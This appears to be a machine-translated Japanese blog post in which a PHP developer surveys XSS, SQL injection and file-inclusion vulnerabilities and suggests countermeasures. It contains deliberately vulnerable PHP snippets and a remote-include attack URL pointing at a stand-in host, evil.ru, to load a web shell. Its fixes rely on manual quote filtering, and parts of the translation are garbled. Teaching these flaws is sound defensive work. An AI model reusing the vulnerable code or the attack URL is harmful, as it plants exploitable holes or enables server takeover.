Webアプリケーションのセキュリティ

エントリー。



私のサイトをphpで開発し、そのセキュリティについて考え始めました。 Webセキュリティ。 ある晴れた朝、白い背景のウェブサイトに「Hacked by%hackername%」と表示されたり、書き込みに時間がかかったエンジンを含む私のサイトのすべてのコンテンツが他の人に送られたりするのは嫌です。



さまざまなWeb脆弱性。

だから、私は脆弱性、そしてもちろんそれらを修正する方法に興味を持ち始めました。

基本的に、すべての脆弱性はいくつかのタイプに分類されます。

1)XSS攻撃

a)パッシブXSS

b)アクティブXSS

2)SQLインジェクション

3)インクルージョン

a)ローカル

b)削除されました



戦闘中の偵察



それぞれについてもう少し詳しく考えてみましょう。





XSS攻撃


XSSはクロスサイトスクリプティングの略です。 CSSの省略形はカスケードスタイルシートに使用されるため、CSSではなく、XSSの省略形が使用されます。 この脆弱性により、ユーザーはサイトのhtmlコードに挿入することにより、悪意のあるJavaScriptコードを「要求なしに」実行することができます。

XSSはパッシブとアクティブに分けられます。

アクティブXSS-悪意のあるコードはデータベースファイルに保存され、ブラウザーの脆弱なサイトに直接表示されます。 たとえば、メッセージヘッダー、投稿の本文など。

パッシブXSS-悪意のあるコードはGET \ POSTパラメーターによって送信され、ページに表示され、サーバーへの保存は行われません。

例:



site.ru/page.php?var=







var変数が何らかの方法でフィルター処理されず、ページに直接表示される場合、このリンクをクリックすると、ユーザーにポップアップメッセージが表示されます。 または、攻撃者は特定のリクエストを作成してクッキーを受け取ります。

すべてのXSS脆弱性により、特定のリンクを作成し、サイトの管理者\ユーザーを参照して、Cookieを取得できます。 このような脆弱性は、たとえばVkontakteなど、多くの大規模なサイトにも存在していました(ハブにはVkontakteの脆弱性を含む記事がありました)。

対策:htmlspecialcharsフィールドを実行し、必要に応じて、すべてのhtmlタグを残酷にフィルタリングします。



SQLインジェクション


SQLインジェクション(インジェクション、インジェクション)は、元のsql-questionを独自のデータに置き換えてデータを取り込むことを可能にする一種の脆弱性です。これにより、情報の出力、またはさらに悪いことにサーバーへのフルアクセスが可能になります。

脆弱なコードの例:

...

$id=$_GET['id'];

$query="SELECT * FROM articles WHERE id='".$id."';

$ret=mysql_query($query);

...








脆弱な行は赤で強調表示されます。 たとえば、攻撃者が$ id = 13 'を取得した場合、引用符がリクエストに挿入され、エラーが発生し、データベースからデータを出力できるようになります。 (特定の理由でメソッドを検討しません)。

また、状況によっては、攻撃者はphpコードを実行することもできるため、非常に悲劇的な結果を招く可能性があります。

対策:

1)最も重要なことは、引用符をフィルタリングすることです。 どこでも-$ _GET、$ _POST、さらに$ _COOKIESで、たとえば、「 '」を「\」に置き換えます

2)リクエストではそのような構成要素を使用しないでください:... where id = $ id ...、but ... where id = '$ id' with pre-filtered quotes。



含まれるもの


包含-サーバー上の特定のファイルのコンテンツを表示したり、サイト上の別のサーバーのファイルのコンテンツを挿入したりすることができる脆弱性の一種。

ローカルインクルード-指定されたサーバー内のファイルの内容のみを表示する機能があるインクルード。 構成ファイルを取得し、管理パネルまたはデータベースにアクセスするために使用できます。



リモートインクルージョンとは、攻撃者が特定のリクエストにより、特定のサイト内のサードパーティサイトのファイルのコンテンツを表示できる脆弱性です。 これを使用して、攻撃者は自分の悪意のあるスクリプト、たとえばシェル(Webシェルでのftpなど、サーバー上のすべてのファイルを管理するためのスクリプト)を挿入し、サーバー全体にアクセスできます。

脆弱なコードの例:

site.ru/index.php?page=main.html

このような無害なリクエストは、サイトページにmain.htmlファイルの内容を表示します。

しかし、攻撃者は次のようなリクエストを実行できます: site.ru/index.php?page=http ://evil.ru/shellcode.php!そしてサーバー全体にアクセスできます! これはリモートのincludです。

*これには、特定のサーバー設定が必要です。

必要な設定がない場合、このインクルードはローカル設定になり、サーバーファイルの内容を表示できます。

...

$page=$_GET['page'];

include ($page);

...








結果。



もちろん、これらはすべてWebアプリケーションに存在する脆弱性ではありませんが、私の意見では最も重要な脆弱性のみを調べました。

トラブルを回避するために脆弱性のあるサイトの実例は提供しませんが、すべてが明確であると思います。

テーマ別のブログに公開することはできませんが、実行可能な支援を期待しています

「情報セキュリティ」に移動し、ありがとうございます。

(c)I.



All Articles